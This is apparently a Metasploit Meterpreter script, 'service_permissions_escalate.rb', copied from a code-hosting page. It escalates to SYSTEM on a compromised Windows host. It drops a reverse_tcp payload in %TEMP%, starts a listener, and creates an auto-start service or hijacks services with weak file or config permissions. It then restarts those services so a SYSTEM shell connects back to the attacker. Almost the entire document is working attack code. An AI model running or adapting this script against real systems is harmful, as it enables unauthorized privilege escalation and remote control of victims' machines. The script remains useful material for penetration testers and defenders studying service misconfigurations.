202 lines
7.3 KiB
Ruby
202 lines
7.3 KiB
Ruby
##
|
|
# $Id: service_permissions_escalate.rb scriptjunkie $
|
|
#
|
|
# Many services are configured with insecure permissions. This
|
|
# script attempts to create a service, then searches through a list of
|
|
# existing services to look for insecure file or configuration
|
|
# permissions that will let it replace the executable with a payload.
|
|
# It will then attempt to restart the replaced service to run the
|
|
# payload. If that fails, the next time the service is started (such as
|
|
# on reboot) the attacker will gain elevated privileges.
|
|
#
|
|
# scriptjunkie googlemail com
|
|
##
|
|
|
|
if client.platform !~ /win32/
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|
|
#
|
|
# Options
|
|
#
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"],
|
|
"-h" => [ false, "This help menu"],
|
|
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
|
"-p" => [ true, "The port on the remote host where Metasploit is listening"]
|
|
)
|
|
|
|
#
|
|
# Default parameters
|
|
#
|
|
|
|
rhost = Rex::Socket.source_address("1.2.3.4")
|
|
rport = 4444
|
|
aggressive = false
|
|
|
|
#
|
|
# Option parsing
|
|
#
|
|
opts.parse(args) do |opt, idx, val|
|
|
case opt
|
|
when "-a"
|
|
aggressive = true
|
|
when "-h"
|
|
print_status("Generic weak service permissions privilege escalation.")
|
|
print_line(opts.usage)
|
|
raise Rex::Script::Completed
|
|
when "-r"
|
|
rhost = val
|
|
when "-p"
|
|
rport = val.to_i
|
|
end
|
|
end
|
|
|
|
# Get the exe payload.
|
|
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
|
|
pay.datastore['LHOST'] = rhost
|
|
pay.datastore['LPORT'] = rport
|
|
raw = pay.generate
|
|
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
|
|
#and placing it on the target in %TEMP%
|
|
tempdir = client.fs.file.expand_path("%TEMP%")
|
|
tempexename = Rex::Text.rand_text_alpha((rand(8)+6))
|
|
tempexe = tempdir + "\\" + tempexename + ".exe"
|
|
print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}")
|
|
fd = client.fs.file.new(tempexe, "wb")
|
|
fd.write(exe)
|
|
fd.close
|
|
|
|
#get handler to be ready
|
|
handler = client.framework.exploits.create("multi/handler")
|
|
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
|
|
handler.datastore['LHOST'] = rhost
|
|
handler.datastore['LPORT'] = rport
|
|
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
|
handler.datastore['ExitOnSession'] = false
|
|
#start a handler to be ready
|
|
handler.exploit_simple(
|
|
'Payload' => handler.datastore['PAYLOAD'],
|
|
'RunAsJob' => true
|
|
)
|
|
|
|
#attempt to make new service
|
|
client.railgun.kernel32.LoadLibraryA("advapi32.dll")
|
|
client.railgun.get_dll('advapi32')
|
|
client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[
|
|
[ "DWORD", "hService", "in" ]
|
|
])
|
|
|
|
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
|
|
|
|
print_status("Trying to add a new service...")
|
|
adv = client.railgun.advapi32
|
|
manag = adv.OpenSCManagerA(nil,nil,0x10013)
|
|
if(manag["return"] != 0)
|
|
# SC_MANAGER_CREATE_SERVICE = 0x0002
|
|
newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
|
|
#SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
|
|
#SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
|
|
if(newservice["return"] != 0)
|
|
print_status("Created service... #{newservice["return"]}")
|
|
ret = adv.StartServiceA(newservice["return"], 0, nil)
|
|
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
|
service_delete("walservice")
|
|
adv.CloseServiceHandle(newservice["return"])
|
|
if aggressive == false
|
|
adv.CloseServiceHandle(manag["return"])
|
|
raise Rex::Script::Completed
|
|
end
|
|
else
|
|
print_status("Uhoh. service creation failed, but we should have the permissions. :-(")
|
|
end
|
|
else
|
|
print_status("No privs to create a service...")
|
|
manag = adv.OpenSCManagerA(nil,nil,1)
|
|
if(manag["return"] == 0)
|
|
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
|
|
end
|
|
end
|
|
print_status("Trying to find weak permissions in existing services..")
|
|
#Search through list of services to find weak permissions, whether file or config
|
|
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
|
#for each service
|
|
service_list.each do |serv|
|
|
begin
|
|
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
|
|
if srvtype != "16"
|
|
continue
|
|
end
|
|
moved = false
|
|
configed = false
|
|
#default path, but there should be an ImagePath registry key
|
|
source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
|
|
#get path to exe; parse out quotes and arguments
|
|
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
|
|
sourcemaybe = client.fs.file.expand_path(sourceorig)
|
|
if( sourcemaybe[0] == '"' )
|
|
sourcemaybe = sourcemaybe.split('"')[1]
|
|
else
|
|
sourcemaybe = sourcemaybe.split(' ')[0]
|
|
end
|
|
begin
|
|
client.fs.file.stat(sourcemaybe) #check if it really exists
|
|
source = sourcemaybe
|
|
rescue
|
|
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
|
|
end
|
|
#try to exploit weak file permissions
|
|
if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
|
|
client.railgun.kernel32.CopyFileA(tempexe, source, false)
|
|
print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.")
|
|
moved = true
|
|
end
|
|
#try to exploit weak config permissions
|
|
#open with SERVICE_CHANGE_CONFIG (0x0002)
|
|
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
|
if(servhandleret["return"] != 0)
|
|
#SERVICE_NO_CHANGE is 0xFFFFFFFF
|
|
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
|
|
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
|
configed = true
|
|
end
|
|
adv.CloseServiceHandle(servhandleret["return"])
|
|
|
|
end
|
|
if(moved != true && configed != true)
|
|
print_status("No exploitable weak permissions found on #{serv}")
|
|
continue
|
|
end
|
|
print_status("Restarting #{serv}")
|
|
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
|
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
|
|
if(servhandleret["return"] != 0)
|
|
#SERVICE_CONTROL_STOP = 0x00000001
|
|
if(adv.ControlService(servhandleret["return"],1,56))
|
|
client.railgun.kernel32.Sleep(1000)
|
|
adv.StartServiceA(servhandleret["return"],0,nil)
|
|
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
|
|
#Cleanup
|
|
if moved == true
|
|
client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
|
end
|
|
if configed == true
|
|
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
|
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
|
adv.CloseServiceHandle(servhandleret["return"])
|
|
end
|
|
if aggressive == false
|
|
raise Rex::Script::Completed
|
|
end
|
|
else
|
|
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
|
end
|
|
adv.CloseServiceHandle(servhandleret["return"])
|
|
else
|
|
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
|
end
|
|
rescue
|
|
end
|
|
end
|
|
|